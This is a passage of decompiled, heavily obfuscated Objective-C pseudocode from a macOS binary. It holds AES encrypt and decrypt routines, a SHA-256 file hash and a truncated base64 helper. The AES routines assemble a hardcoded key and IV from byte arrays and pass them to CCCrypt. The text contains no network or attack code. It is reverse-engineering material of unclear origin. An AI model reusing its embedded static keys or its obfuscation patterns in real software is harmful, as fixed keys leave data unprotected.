{
while ( 1 )
{
while ( v33 <= -27845647 )
{
if ( v33 > -1372186691 )
{
if ( v33 <= -942184649 )
{
if ( v33 > -1273687049 )
{
switch ( v33 )
{
case -1273687048:
*v45 = 474616822;
break;
case -1147581158:
v7 = 0;
asc_10029BC60[13] = 87;
asc_10029BC60[14] = 48;
asc_10029BC60[15] = 114;
asc_10029BC60[16] = 0;
asc_10029BC20[0] = 98;
asc_10029BC20[1] = 49;
asc_10029BC20[2] = 101;
v44 = 34;
v2 = -1967206462;
v8 = -1147581158;
LABEL_125:
if ( v7 )
v2 = v8;
goto LABEL_137;
case -963713509:
LABEL_71:
*v45 = 578146284;
break;
}
}
else
{
switch ( v33 )
{
case -1372186690:
v13 = v28;
*v45 = 503057454;
v29 = v13;
break;
case -1369597816:
objc_release(v38);
v7 = 1;
v2 = -1369597816;
v8 = 1311753812;
goto LABEL_125;
case -1302435466:
v5 = 0;
v37 = "length";
v2 = -925224748;
v6 = -299138435;
goto LABEL_111;
}
}
}
else if ( v33 <= -706832052 )
{
switch ( v33 )
{
case -942184648:
dword_10029F730 = 1;
key = &v24;
iv = &v24;
dataOutMoved = (size_t *)&v25;
v25 = 0;
v24 = 0;
v17 = v30;
objc_retain(v30);
objc_msgSend(
CFSTR("\xDB\xECVhs\xE3\x75\x1ByH\x88\x04\xED\x2F\xA6\xB7a"),
"getCString:maxLength:encoding:",
key,
17,
4);
v18 = iv;
*(_OWORD *)iv = 0;
v18[16] = 0;
objc_msgSend(
CFSTR("<\xC5\xC5\xA2\xBD\x1F1\x8F\x13-=\xA5{ޞ"),
"getCString:maxLength:encoding:",
iv,
17,
4);
v19 = objc_alloc((Class)&OBJC_CLASS___NSData);
v41 = HikariFunctionWrapper_633(v19, "initWithBase64EncodedString:options:");
objc_release(v17);
v11 = 0;
v2 = -942184648;
v12 = 2092209587;
goto LABEL_135;
case -925224748:
*v45 = -963713509;
break;
case -845364024:
HikariFunctionWrapper_639(dataOut);
v7 = 0;
v2 = -1273687048;
v8 = -845364024;
goto LABEL_125;
}
}
else if ( v33 > -351349129 )
{
if ( v33 == -351349128 )
{
v11 = 1;
v2 = -1147581158;
v12 = 64990101;
goto LABEL_135;
}
if ( v33 == -299138435 )
*v45 = -1302435466;
}
else if ( v33 == -706832051 )
{
*v45 = 637860096;
}
else if ( v33 == -698606400 )
{
v1 = !v42;
v2 = -1998037243;
v3 = -2111649146;
goto LABEL_116;
}
}
else if ( v33 <= -1921069262 )
{
if ( v33 > -1998037244 )
{
switch ( v33 )
{
case -1998037243:
v5 = 0;
v2 = -942184648;
v6 = 293650661;
goto LABEL_111;
case -1967206462:
*v45 = 424480091;
break;
case -1950997054:
objc_release(v38);
*v45 = -1369597816;
break;
}
}
else
{
switch ( v33 )
{
case -2123260618:
objc_release(v41);
objc_autoreleaseReturnValue(v39);
v7 = 0;
v2 = 1995677610;
goto LABEL_103;
case -2111649146:
qmemcpy(asc_10029BC60, "9QxK3vPf2sL8t", 13);
*v45 = -351349128;
break;
case -2033960722:
v4 = 1598797563;
if ( v43 )
v4 = 503057454;
*v45 = v4;
v29 = 0;
break;
}
}
}
else if ( v33 <= -1835265251 )
{
switch ( v33 )
{
case -1921069261:
v14 = (size_t)v26 + 16;
dataOut = HikariFunctionWrapper_635((size_t)v26 + 16);
*dataOutMoved = 0;
objc_retainAutorelease(v41);
v15 = objc_msgSend(v41, "bytes");
v16 = objc_msgSend(v41, v37);
v5 = CCCrypt(1u, 0, 1u, key, 0x10u, iv, v15, (size_t)v16, dataOut, v14, dataOutMoved) == 0;
v2 = -1845124879;
v6 = 20028543;
LABEL_111:
if ( v5 )
v2 = v6;
goto LABEL_137;
case -1845124879:
goto LABEL_109;
case -1844033601:
HikariFunctionWrapper_643(v41, v37);
goto LABEL_71;
}
}
else if ( v33 > -1468508569 )
{
if ( v33 == -1468508568 )
{
v5 = 0;
v32 = dword_10029F730;
v2 = -706832051;
v6 = 506686192;
goto LABEL_111;
}
if ( v33 == -1426853038 )
*v45 = 376189025;
}
else
{
if ( v33 == -1835265250 )
{
v11 = 0;
v2 = -27845646;
v12 = -2033960722;
goto LABEL_135;
}
if ( v33 == -1827826776 )
{
v43 = v41 == 0;
*v45 = 530119017;
}
}
}
if ( v33 > 578146283 )
break;
if ( v33 <= 376189024 )
{
if ( v33 > 83228708 )
{
switch ( v33 )
{
case 83228709:
goto LABEL_83;
case 205627242:
*v45 = -1998037243;
break;
case 293650661:
dword_10029F730 = 1;
v9 = v30;
objc_retain(v30);
objc_msgSend(
CFSTR("\xDB\xECVhs\xE3\x75\x1ByH\x88\x04\xED\x2F\xA6\xB7a"),
"getCString:maxLength:encoding:",
&v24,
17,
4);
v24 = 0;
v25 = 0;
HikariFunctionWrapper_641(
CFSTR("<\xC5\xC5\xA2\xBD\x1F1\x8F\x13-=\xA5{ޞ"),
"getCString:maxLength:encoding:");
v10 = objc_alloc((Class)&OBJC_CLASS___NSData);
objc_msgSend(v10, "initWithBase64EncodedString:options:", v9, 0);
objc_release(v9);
*v45 = -942184648;
break;
}
}
else
{
switch ( v33 )
{
case -27845646:
*v45 = -1835265250;
break;
case 20028543:
v21 = HikariFunctionWrapper_637(&OBJC_CLASS___NSData, "dataWithBytesNoCopy:length:freeWhenDone:");
v38 = objc_retainAutoreleasedReturnValue(v21);
v22 = objc_alloc((Class)&OBJC_CLASS___NSString);
v27 = objc_msgSend(v22, "initWithData:encoding:", v38, 4);
*v45 = 700524139;
break;
case 64990101:
asc_10029BC60[13] = 87;
asc_10029BC60[14] = 48;
asc_10029BC60[15] = 114;
asc_10029BC60[16] = 0;
asc_10029BC20[0] = 98;
asc_10029BC20[1] = 49;
asc_10029BC20[2] = 101;
*v45 = -1147581158;
break;
}
}
}
else if ( v33 <= 503057453 )
{
switch ( v33 )
{
case 376189025:
*v45 = -1372186690;
v28 = 0;
break;
case 424480091:
v11 = 0;
v2 = 2018092591;
v12 = 534702363;
LABEL_135:
if ( !v11 )
v2 = v12;
goto LABEL_137;
case 474616822:
LABEL_83:
*v45 = -1426853038;
break;
}
}
else if ( v33 > 530119016 )
{
if ( v33 == 530119017 )
{
v11 = 0;
v2 = -27845646;
v12 = -1835265250;
goto LABEL_135;
}
if ( v33 == 534702363 )
{
asc_10029BC20[3] = v44 ^ 0x17;
asc_10029BC20[4] = 99;
asc_10029BC20[5] = 55;
asc_10029BC20[6] = 100;
asc_10029BC20[7] = 57;
asc_10029BC20[8] = 97;
asc_10029BC20[9] = 51;
asc_10029BC20[10] = 102;
v5 = 0;
asc_10029BC20[11] = 48;
asc_10029BC20[12] = 103;
asc_10029BC20[13] = 50;
asc_10029BC20[14] = 104;
asc_10029BC20[15] = 52;
asc_10029BC20[16] = 0;
v2 = 205627242;
v6 = 2018092591;
goto LABEL_111;
}
}
else
{
if ( v33 == 503057454 )
{
v39 = v29;
v7 = 1;
v2 = 1038580844;
LABEL_103:
v8 = -2123260618;
goto LABEL_125;
}
if ( v33 == 506686192 )
*v45 = -1468508568;
}
}
if ( v33 > 1058748777 )
break;
if ( v33 > 800778358 )
{
switch ( v33 )
{
case 800778359:
*v45 = -1372186690;
v28 = v27;
break;
case 1038580844:
objc_release(v41);
objc_autoreleaseReturnValue(v39);
*v45 = -2123260618;
break;
case 1043658555:
*v45 = -1921069261;
break;
}
}
else
{
switch ( v33 )
{
case 578146284:
v20 = objc_msgSend(v41, v37);
v1 = 0;
v26 = v20;
v2 = -1844033601;
v3 = 1043658555;
LABEL_116:
if ( !v1 )
v2 = v3;
LABEL_137:
*v45 = v2;
break;
case 637860096:
v42 = v32 == 0;
*v45 = -698606400;
break;
case 700524139:
v7 = 0;
v2 = -1369597816;
v8 = -1950997054;
goto LABEL_125;
}
}
}
if ( v33 > 1984093971 )
break;
switch ( v33 )
{
case 1058748778:
free(dataOut);
LABEL_109:
*v45 = -845364024;
break;
case 1311753812:
*v45 = 800778359;
break;
case 1598797563:
v7 = 0;
v2 = -1302435466;
v8 = -299138435;
goto LABEL_125;
}
}
if ( v33 <= 2018092590 )
break;
if ( v33 == 2018092591 )
{
asc_10029BC20[3] = v44 ^ 0x17;
asc_10029BC20[4] = 99;
asc_10029BC20[5] = 55;
asc_10029BC20[6] = 100;
asc_10029BC20[7] = 57;
asc_10029BC20[8] = 97;
asc_10029BC20[9] = 51;
asc_10029BC20[10] = 102;
asc_10029BC20[11] = 48;
asc_10029BC20[12] = 103;
asc_10029BC20[13] = 50;
asc_10029BC20[14] = 104;
asc_10029BC20[15] = 52;
asc_10029BC20[16] = 0;
*v45 = 534702363;
}
else if ( v33 == 2092209587 )
{
*v45 = -1827826776;
}
}
if ( v33 == 1984093972 )
{
v11 = v31 < 0xCD251E9D;
v2 = -1468508568;
v12 = 506686192;
goto LABEL_135;
}
}
while ( v33 != 1995677610 );
return v39;
}
// 10022ACF6: bad sp value at call
// 10029BCA0: using guessed type __CFString stru_10029BCA0;
// 10029BCE0: using guessed type __CFString stru_10029BCE0;
// 10029F730: using guessed type int dword_10029F730;
//----- (000000010022B9A0) ----------------------------------------------------
id __fastcall encryptMyData(void *a1)
{
bool v1; // cf
int v2; // eax
int v3; // ecx
bool v4; // zf
int v5; // ecx
char v6; // cf
int v7; // ecx
id v8; // rax
_OWORD *v9; // rax
id v10; // rbx
_BYTE *v11; // rax
unsigned __int64 v12; // rax
size_t v13; // r12
void *v14; // r13
id v15; // r15
id v16; // r14
_OWORD *v17; // rax
id v18; // rbx
_BYTE *v19; // rax
char *v20; // r12
id v21; // r13
id v22; // r14
id v23; // rax
id v24; // rax
NSData *v25; // rax
NSData *v26; // rax
_BYTE v28[16]; // [rsp-20h] [rbp-C0h] BYREF
_BYTE v29[16]; // [rsp-10h] [rbp-B0h] BYREF
id v30; // [rsp+0h] [rbp-A0h]
size_t *v31; // [rsp+8h] [rbp-98h]
void *v32; // [rsp+10h] [rbp-90h]
id v33; // [rsp+18h] [rbp-88h]
unsigned int v34; // [rsp+24h] [rbp-7Ch]
int v35; // [rsp+28h] [rbp-78h]
int v36; // [rsp+2Ch] [rbp-74h] BYREF
id v37; // [rsp+30h] [rbp-70h]
id v38; // [rsp+38h] [rbp-68h]
size_t *dataOutMoved; // [rsp+40h] [rbp-60h]
void *dataOut; // [rsp+48h] [rbp-58h]
void *key; // [rsp+50h] [rbp-50h]
void *iv; // [rsp+58h] [rbp-48h]
bool v43; // [rsp+64h] [rbp-3Ch]
bool v44; // [rsp+65h] [rbp-3Bh]
char v45; // [rsp+66h] [rbp-3Ah]
char v46; // [rsp+67h] [rbp-39h]
int *v47; // [rsp+68h] [rbp-38h]
__int64 v48; // [rsp+70h] [rbp-30h]
v33 = a1;
v48 = -1;
v34 = -1791543488;
v36 = 1184633493;
v47 = &v36;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v36 > 575876589 )
{
if ( v36 <= 1423290171 )
{
if ( v36 > 1184633492 )
{
if ( v36 > 1383203212 )
{
switch ( v36 )
{
case 1383203213:
v23 = objc_msgSend(v37, "base64EncodedStringWithOptions:", 0);
v24 = objc_retainAutoreleasedReturnValue(v23);
v1 = 1;
v30 = v24;
v2 = 1421275925;
v3 = -1601340921;
goto LABEL_123;
case 1419969981:
free(dataOut);
v6 = 1;
v2 = -497989333;
v7 = -506830967;
goto LABEL_128;
case 1421275925:
v8 = objc_msgSend(v37, "base64EncodedStringWithOptions:", 0);
objc_retainAutoreleasedReturnValue(v8);
*v47 = 1383203213;
break;
}
}
else
{
switch ( v36 )
{
case 1184633493:
v1 = v34 < 0x53C3E942;
v2 = 2083044971;
v3 = 2022030266;
goto LABEL_123;
case 1250328020:
*v47 = -2119851448;
v32 = 0;
break;
case 1376017617:
v4 = !v43;
v2 = 2050839054;
v5 = -1558455500;
goto LABEL_113;
}
}
}
else if ( v36 > 843522333 )
{
switch ( v36 )
{
case 843522334:
objc_autoreleaseReturnValue(v38);
*v47 = 1423290172;
break;
case 979868630:
*v47 = -649442700;
break;
case 1009418845:
v1 = 0;
v2 = 1419969981;
v3 = -506830967;
goto LABEL_123;
}
}
else
{
switch ( v36 )
{
case 575876590:
dword_10029F734 = 1;
*v47 = -964164889;
break;
case 591299022:
*v47 = 2050839054;
break;
case 786688683:
objc_release(v37);
*v47 = -2119851448;
v32 = v30;
break;
}
}
}
else if ( v36 <= 1790916376 )
{
if ( v36 > 1593472506 )
{
switch ( v36 )
{
case 1593472507:
*v47 = -1692426527;
break;
case 1678037735:
v25 = +[NSData dataWithBytesNoCopy:length:freeWhenDone:](
&OBJC_CLASS___NSData,
"dataWithBytesNoCopy:length:freeWhenDone:",
dataOut,
*dataOutMoved,
1);
v37 = objc_retainAutoreleasedReturnValue(v25);
v2 = 1834359186;
goto LABEL_130;
case 1720923664:
v1 = 1;
v2 = 1931652126;
goto LABEL_95;
}
}
else
{
switch ( v36 )
{
case 1423290172:
objc_autoreleaseReturnValue(v38);
v6 = 0;
v2 = 843522334;
v7 = 282382871;
goto LABEL_128;
case 1451468125:
strcpy(asc_10029BC60, "9QxK3vPf2sL8tW0r");
asc_10029BC20[0] = 98;
asc_10029BC20[1] = 49;
asc_10029BC20[2] = 101;
*v47 = -1297015767;
break;
case 1457479378:
asc_10029BC20[3] = v45 - 2 * (v45 & 0x17) + 23;
asc_10029BC20[4] = 99;
asc_10029BC20[5] = 55;
asc_10029BC20[6] = 100;
asc_10029BC20[7] = 57;
asc_10029BC20[8] = 97;
v46 = 0x80;
v2 = 979868630;
goto LABEL_130;
}
}
}
else if ( v36 <= 1931652125 )
{
switch ( v36 )
{
case 1790916377:
*v47 = 1376017617;
break;
case 1820387662:
asc_10029BC20[3] = v45 ^ 0x17;
asc_10029BC20[4] = 99;
asc_10029BC20[5] = 55;
asc_10029BC20[6] = 100;
asc_10029BC20[7] = 57;
asc_10029BC20[8] = 97;
goto LABEL_117;
case 1834359186:
*v47 = -163766141;
break;
}
}
else if ( v36 > 2050839053 )
{
if ( v36 == 2050839054 )
{
v4 = 0;
v2 = 575876590;
v5 = -964164889;
goto LABEL_113;
}
if ( v36 == 2083044971 )
{
v1 = 1;
v35 = dword_10029F734;
v2 = 2083044971;
v3 = -229766646;
goto LABEL_123;
}
}
else if ( v36 == 1931652126 )
{
v31 = (size_t *)v29;
v9 = key;
*((_BYTE *)key + 16) = 0;
*v9 = 0;
v10 = v33;
objc_retain(v33);
HikariFunctionWrapper_651(
CFSTR("\xDB\xECVhs\xE3\x75\x1ByH\x88\x04\xED\x2F\xA6\xB7a"),
"getCString:maxLength:encoding:");
v11 = iv;
*(_OWORD *)iv = 0;
v11[16] = 0;
objc_msgSend(
CFSTR("<\xC5\xC5\xA2\xBD\x1F1\x8F\x13-=\xA5{ޞ"),
"getCString:maxLength:encoding:",
iv,
17,
4);
v12 = (unsigned __int64)objc_msgSend(v10, "length");
v13 = (v12 & 0x10) + (v12 | 0x10);
v14 = malloc(v13);
objc_retainAutorelease(v10);
v15 = objc_msgSend(v10, "bytes");
v16 = HikariFunctionWrapper_653(v10, "length");
objc_release(v10);
HikariFunctionWrapper_655(0, 0, 1u, key, 0x10u, iv, v15, (size_t)v16, v14, v13, v31);
*v47 = -499190369;
}
else if ( v36 == 2022030266 )
{
*v47 = 2083044971;
}
}
if ( v36 > -649442701 )
break;
if ( v36 <= -1601340922 )
{
if ( v36 > -1959245749 )
{
switch ( v36 )
{
case -1959245748:
v4 = !v44;
v2 = 1009418845;
v5 = 202033759;
LABEL_113:
if ( !v4 )
v2 = v5;
LABEL_130:
*v47 = v2;
break;
case -1765105755:
*v47 = 1720923664;
break;
case -1692426527:
v43 = v35 == 0;
*v47 = 1790916377;
break;
}
}
else
{
switch ( v36 )
{
case -2119851448:
v38 = v32;
v1 = 0;
v2 = 1423290172;
v3 = 843522334;
goto LABEL_123;
case -2114403176:
v1 = 0;
iv = v28;
v2 = -1765105755;
v3 = -1125269338;
goto LABEL_123;
case -2038579555:
v6 = 0;
v2 = -1125269338;
v7 = -2114403176;
goto LABEL_128;
}
}
}
else if ( v36 <= -1125269339 )
{
switch ( v36 )
{
case -1601340921:
*v47 = 786688683;
break;
case -1558455500:
v6 = 1;
v2 = -1297015767;
v7 = 1451468125;
LABEL_128:
if ( !v6 )
v2 = v7;
goto LABEL_130;
case -1297015767:
strcpy(asc_10029BC60, "9QxK3vPf2sL8tW0r");
v6 = 0;
asc_10029BC20[0] = 98;
asc_10029BC20[1] = 49;
asc_10029BC20[2] = 101;
v45 = 34;
v2 = 1451468125;
v7 = -113381141;
goto LABEL_128;
}
}
else if ( v36 > -964164890 )
{
if ( v36 == -964164889 )
{
dword_10029F734 = 1;
key = v28;
v2 = -573638462;
goto LABEL_130;
}
if ( v36 == -780609961 )
LABEL_117:
*v47 = 1457479378;
}
else if ( v36 == -1125269338 )
{
*v47 = -2114403176;
}
else if ( v36 == -1051245939 )
{
v1 = 0;
asc_10029BC20[9] = v46 - 2 * (v46 & 0x33) - 77;
asc_10029BC20[10] = 102;
asc_10029BC20[11] = 48;
asc_10029BC20[12] = 103;
asc_10029BC20[13] = 50;
asc_10029BC20[14] = 104;
asc_10029BC20[15] = 52;
asc_10029BC20[16] = 0;
v2 = 591299022;
v3 = 14730022;
goto LABEL_123;
}
}
if ( v36 > -163766142 )
break;
if ( v36 > -499190370 )
{
switch ( v36 )
{
case -499190369:
dataOutMoved = (size_t *)v29;
v17 = key;
*((_BYTE *)key + 16) = 0;
*v17 = 0;
v18 = v33;
objc_retain(v33);
objc_msgSend(
CFSTR("\xDB\xECVhs\xE3\x75\x1ByH\x88\x04\xED\x2F\xA6\xB7a"),
"getCString:maxLength:encoding:",
key,
17,
4);
v19 = iv;
*(_OWORD *)iv = 0;
v19[16] = 0;
HikariFunctionWrapper_645(
CFSTR("<\xC5\xC5\xA2\xBD\x1F1\x8F\x13-=\xA5{ޞ"),
"getCString:maxLength:encoding:");
v20 = (char *)HikariFunctionWrapper_647(v18, "length") + 16;
dataOut = malloc((size_t)v20);
*dataOutMoved = 0;
objc_retainAutorelease(v18);
v21 = objc_msgSend(v18, "bytes");
v22 = HikariFunctionWrapper_649(v18, "length");
objc_release(v18);
v44 = CCCrypt(0, 0, 1u, key, 0x10u, iv, v21, (size_t)v22, dataOut, (size_t)v20, dataOutMoved) == 0;
v1 = 0;
v2 = -1959245748;
LABEL_95:
v3 = -499190369;
LABEL_123:
if ( v1 )
v2 = v3;
goto LABEL_130;
case -497989333:
*v47 = 1250328020;
break;
case -229766646:
*v47 = 361617307;
break;
}
}
else
{
switch ( v36 )
{
case -649442700:
v1 = 1;
v2 = 14730022;
v3 = -1051245939;
goto LABEL_123;
case -573638462:
*v47 = -2038579555;
break;
case -506830967:
free(dataOut);
*v47 = 1419969981;
break;
}
}
}
if ( v36 > 202033758 )
break;
switch ( v36 )
{
case -163766141:
v6 = 1;
v2 = 1383203213;
v7 = 1421275925;
goto LABEL_128;
case -113381141:
*v47 = -780609961;
break;
case 14730022:
asc_10029BC20[9] = v46 ^ 0xB3;
asc_10029BC20[10] = 102;
asc_10029BC20[11] = 48;
asc_10029BC20[12] = 103;
asc_10029BC20[13] = 50;
asc_10029BC20[14] = 104;
asc_10029BC20[15] = 52;
asc_10029BC20[16] = 0;
*v47 = -1051245939;
break;
}
}
if ( v36 <= 294269112 )
break;
if ( v36 == 294269113 )
{
v26 = +[NSData dataWithBytesNoCopy:length:freeWhenDone:](
&OBJC_CLASS___NSData,
"dataWithBytesNoCopy:length:freeWhenDone:",
dataOut,
*dataOutMoved,
1);
objc_retainAutoreleasedReturnValue(v26);
*v47 = 1678037735;
}
else if ( v36 == 361617307 )
{
v1 = 0;
v2 = -1692426527;
v3 = 1593472507;
goto LABEL_123;
}
}
if ( v36 == 202033759 )
{
v6 = 1;
v2 = 1678037735;
v7 = 294269113;
goto LABEL_128;
}
}
while ( v36 != 282382871 );
return v38;
}
// 10029BD20: using guessed type __CFString stru_10029BD20;
// 10029BD60: using guessed type __CFString stru_10029BD60;
// 10029F734: using guessed type int dword_10029F734;
//----- (000000010022CCCC) ----------------------------------------------------
id __fastcall sha256ForFile(__int64 a1)
{
bool v1; // cf
int v2; // eax
int v3; // ecx
int v4; // eax
char v5; // cf
int v6; // ecx
bool v7; // zf
int v8; // ecx
id v9; // rax
int v10; // eax
id v11; // rax
NSMutableString *v12; // rax
id v13; // rax
id v14; // rax
id v15; // rbx
__int64 v17; // [rsp+0h] [rbp-B0h] BYREF
void *data; // [rsp+8h] [rbp-A8h]
CC_LONG len[2]; // [rsp+10h] [rbp-A0h]
__int64 v20; // [rsp+18h] [rbp-98h]
id v21; // [rsp+20h] [rbp-90h]
SEL v22; // [rsp+28h] [rbp-88h]
__int64 v23; // [rsp+30h] [rbp-80h]
id v24; // [rsp+38h] [rbp-78h]
unsigned int v25; // [rsp+44h] [rbp-6Ch]
int v26; // [rsp+48h] [rbp-68h]
int v27; // [rsp+4Ch] [rbp-64h] BYREF
unsigned __int8 *md; // [rsp+50h] [rbp-60h]
id v29; // [rsp+58h] [rbp-58h]
__int64 v30; // [rsp+60h] [rbp-50h]
id v31; // [rsp+68h] [rbp-48h]
bool v32; // [rsp+73h] [rbp-3Dh]
bool v33; // [rsp+74h] [rbp-3Ch]
bool v34; // [rsp+75h] [rbp-3Bh]
char v35; // [rsp+76h] [rbp-3Ah]
char v36; // [rsp+77h] [rbp-39h]
int *v37; // [rsp+78h] [rbp-38h]
__int64 v38; // [rsp+80h] [rbp-30h]
v38 = -1;
v25 = -1361338810;
v27 = -777438945;
v37 = &v27;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v27 <= -77251389 )
{
if ( v27 <= -1105881266 )
{
if ( v27 <= -1639088750 )
{
if ( v27 > -2052437130 )
{
switch ( v27 )
{
case -2052437129:
v7 = !v32;
v2 = 1827221978;
v8 = -406154558;
goto LABEL_138;
case -2046231208:
*v37 = -158726174;
break;
case -2012272337:
*v37 = 1220749525;
break;
}
}
else
{
switch ( v27 )
{
case -2103374822:
CC_SHA256(data, len[0], md);
v12 = +[NSMutableString stringWithCapacity:](
&OBJC_CLASS___NSMutableString,
"stringWithCapacity:",
64);
v29 = objc_retainAutoreleasedReturnValue(v12);
v22 = "appendFormat:";
*v37 = 860377194;
v23 = 0;
break;
case -2091311878:
asc_10029BD85[2] = v36 - 2 * (v36 & 0x35) - 75;
asc_10029BD85[3] = 120;
asc_10029BD85[4] = 0;
*v37 = 1722939039;
break;
case -2054124763:
v4 = 860377194;
if ( v34 )
v4 = 9456773;
*v37 = v4;
v23 = v20;
break;
}
}
}
else if ( v27 <= -1455272627 )
{
switch ( v27 )
{
case -1639088749:
HikariFunctionWrapper_663(v29, v22);
*v37 = -1105881265;
break;
case -1629765741:
v13 = objc_msgSend(v21, "dataWithContentsOfFile:", a1);
v14 = objc_retainAutoreleasedReturnValue(v13);
v33 = v14 == 0;
v31 = v14;
v2 = -1421194503;
goto LABEL_146;
case -1624910536:
dword_10029F738 = 1;
v2 = -2012272337;
goto LABEL_146;
}
}
else if ( v27 > -1421194504 )
{
if ( v27 == -1421194503 )
{
v10 = 1796688189;
if ( v33 )
v10 = 504540536;
*v37 = v10;
v24 = 0;
}
else if ( v27 == -1172830936 )
{
v1 = 1;
v2 = 89787487;
LABEL_113:
v3 = 120859608;
goto LABEL_127;
}
}
else if ( v27 == -1455272626 )
{
*v37 = -1423981550;
}
else if ( v27 == -1423981550 )
{
v1 = 1;
md = (unsigned __int8 *)(&v17 - 4);
v21 = &OBJC_CLASS___NSData;
v2 = -1455272626;
v3 = -2046231208;
goto LABEL_127;
}
}
else if ( v27 > -579825085 )
{
if ( v27 <= -280757069 )
{
switch ( v27 )
{
case -579825084:
*v37 = 563239761;
break;
case -430751498:
asc_10029BD85[0] = 37;
v35 = 48;
v2 = 1658426961;
goto LABEL_146;
case -406154558:
v1 = 1;
v2 = -1061469417;
v3 = -430751498;
goto LABEL_127;
}
}
else if ( v27 > -158726175 )
{
if ( v27 == -158726174 )
{
v1 = 0;
v2 = -1629765741;
v3 = -1006735066;
goto LABEL_127;
}
if ( v27 == -150616237 )
*v37 = -2052437129;
}
else
{
if ( v27 == -280757068 )
{
*(_QWORD *)len = objc_msgSend(v31, "length");
v2 = 2040945703;
goto LABEL_146;
}
if ( v27 == -241852945 )
{
dword_10029F738 = 1;
*v37 = -1624910536;
}
}
}
else if ( v27 <= -939748048 )
{
switch ( v27 )
{
case -1105881265:
objc_msgSend(v29, v22, CFSTR("\x12\a^\x8B"), md[v30]);
v34 = v30 == 31;
v7 = 0;
v20 = v30 + 1;
v2 = -1105881265;
v8 = -2054124763;
LABEL_138:
if ( !v7 )
v2 = v8;
LABEL_146:
*v37 = v2;
break;
case -1061469417:
asc_10029BD85[0] = 37;
*v37 = -430751498;
break;
case -1006735066:
v9 = HikariFunctionWrapper_659(v21, "dataWithContentsOfFile:");
objc_retainAutoreleasedReturnValue(v9);
*v37 = -1629765741;
break;
}
}
else if ( v27 > -921137782 )
{
if ( v27 == -921137781 )
{
objc_msgSend(v31, "length");
LABEL_117:
*v37 = -280757068;
}
else if ( v27 == -777438945 )
{
v1 = v25 < 0x18AEB0AA;
v2 = -77251388;
v3 = 1936253523;
goto LABEL_127;
}
}
else
{
if ( v27 == -939748047 )
{
objc_retainAutorelease(v31);
v11 = HikariFunctionWrapper_657(v31, "bytes");
v5 = 0;
data = v11;
v2 = 2112834696;
v6 = 1389328985;
goto LABEL_132;
}
if ( v27 == -936915890 )
{
*v37 = 504540536;
v24 = v29;
}
}
}
if ( v27 <= 1020446164 )
break;
if ( v27 > 1722939038 )
{
if ( v27 <= 1936253522 )
{
switch ( v27 )
{
case 1722939039:
*v37 = 1827221978;
break;
case 1796688189:
v5 = 1;
v2 = -939748047;
v6 = 2112834696;
LABEL_132:
if ( !v5 )
v2 = v6;
goto LABEL_146;
case 1827221978:
v7 = 0;
v2 = -241852945;
v8 = -1624910536;
goto LABEL_138;
}
}
else if ( v27 > 2048416487 )
{
if ( v27 == 2048416488 )
goto LABEL_117;
if ( v27 == 2112834696 )
{
objc_retainAutorelease(v31);
HikariFunctionWrapper_661(v31, "bytes");
*v37 = -939748047;
}
}
else if ( v27 == 1936253523 )
{
*v37 = -77251388;
}
else if ( v27 == 2040945703 )
{
*v37 = -2103374822;
}
}
else if ( v27 <= 1389328984 )
{
switch ( v27 )
{
case 1020446165:
v1 = 1;
v2 = 1575689392;
v3 = 434493742;
goto LABEL_127;
case 1220749525:
v5 = 1;
v2 = -1423981550;
v6 = -1455272626;
goto LABEL_132;
case 1238738255:
v1 = 0;
v2 = -936915890;
v3 = -53712140;
goto LABEL_127;
}
}
else if ( v27 > 1658426960 )
{
if ( v27 == 1658426961 )
{
*v37 = -1172830936;
}
else if ( v27 == 1684167091 )
{
*v37 = 1020446165;
}
}
else if ( v27 == 1389328985 )
{
*v37 = 2048416488;
}
else if ( v27 == 1575689392 )
{
*v37 = 434493742;
}
}
if ( v27 > 434493741 )
break;
if ( v27 <= 58821319 )
{
switch ( v27 )
{
case -77251388:
v1 = 0;
v26 = dword_10029F738;
v2 = 1684167091;
v3 = -77251388;
LABEL_127:
if ( v1 )
v2 = v3;
goto LABEL_146;
case -53712140:
*v37 = 1238738255;
break;
case 9456773:
v5 = 0;
v2 = -579825084;
v6 = 563239761;
goto LABEL_132;
}
}
else if ( v27 > 120859607 )
{
if ( v27 == 120859608 )
{
v1 = 0;
asc_10029BD85[1] = v35;
v36 = -121;
v2 = 58821320;
goto LABEL_113;
}
if ( v27 == 236863932 )
*v37 = 614187655;
}
else if ( v27 == 58821320 )
{
*v37 = 893245886;
}
else if ( v27 == 89787487 )
{
asc_10029BD85[1] = v35;
*v37 = 120859608;
}
}
if ( v27 <= 815546397 )
break;
switch ( v27 )
{
case 815546398:
asc_10029BD85[2] = v36 ^ 0xB5;
asc_10029BD85[3] = 120;
asc_10029BD85[4] = 0;
*v37 = -2091311878;
break;
case 860377194:
v30 = v23;
v5 = 1;
v2 = -1105881265;
v6 = -1639088749;
goto LABEL_132;
case 893245886:
v5 = 0;
v2 = 815546398;
v6 = -2091311878;
goto LABEL_132;
}
}
if ( v27 <= 563239760 )
break;
if ( v27 == 563239761 )
{
v7 = 0;
v2 = 563239761;
v8 = 236863932;
goto LABEL_138;
}
if ( v27 == 614187655 )
{
v1 = 1;
v2 = -53712140;
v3 = 1238738255;
goto LABEL_127;
}
}
if ( v27 == 434493742 )
{
v32 = v26 == 0;
v2 = -150616237;
goto LABEL_146;
}
}
while ( v27 != 504540536 );
v15 = v24;
objc_release(v31);
return objc_autoreleaseReturnValue(v15);
}
// 10029BDB0: using guessed type __CFString stru_10029BDB0;
// 10029F738: using guessed type int dword_10029F738;
//----- (000000010022DB48) ----------------------------------------------------
id __fastcall dataToBase64String(id a1)
{
int v1; // eax
const char *v3; // [rsp+8h] [rbp-48h]
id v4; // [rsp+10h] [rbp-40h]
int v5; // [rsp+1Ch] [rbp-34h] BYREF
int *v6; // [rsp+20h] [rbp-30h]
v5 = -653266208;
v6 = &v5;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v5 > 206553124 )
{
if ( v5 > 1116907219 )
{
if ( v5 == 1116907220 )
{
v1 = -993241630;
goto LABEL_21;
}
if ( v5 == 1655860573 )
*v6 = 832544300;
}
else if ( v5 == 206553125 )
{
v4 = objc_msgSend(a1, v3, 0);
*v6 = -1616348169;
}
else if ( v5 == 832544300 )
{
v3 = "base64EncodedStringWithOptions:";
v1 = -1688424715;
goto LABEL_21;
}
}
if ( v5 > -993241631 )
break;
if ( v5 == -1688424715 )
{
*v6 = 206553125;
}
else if ( v5 == -1616348169 )
{
v1 = 1116907220;
goto LABEL_21;
}
}
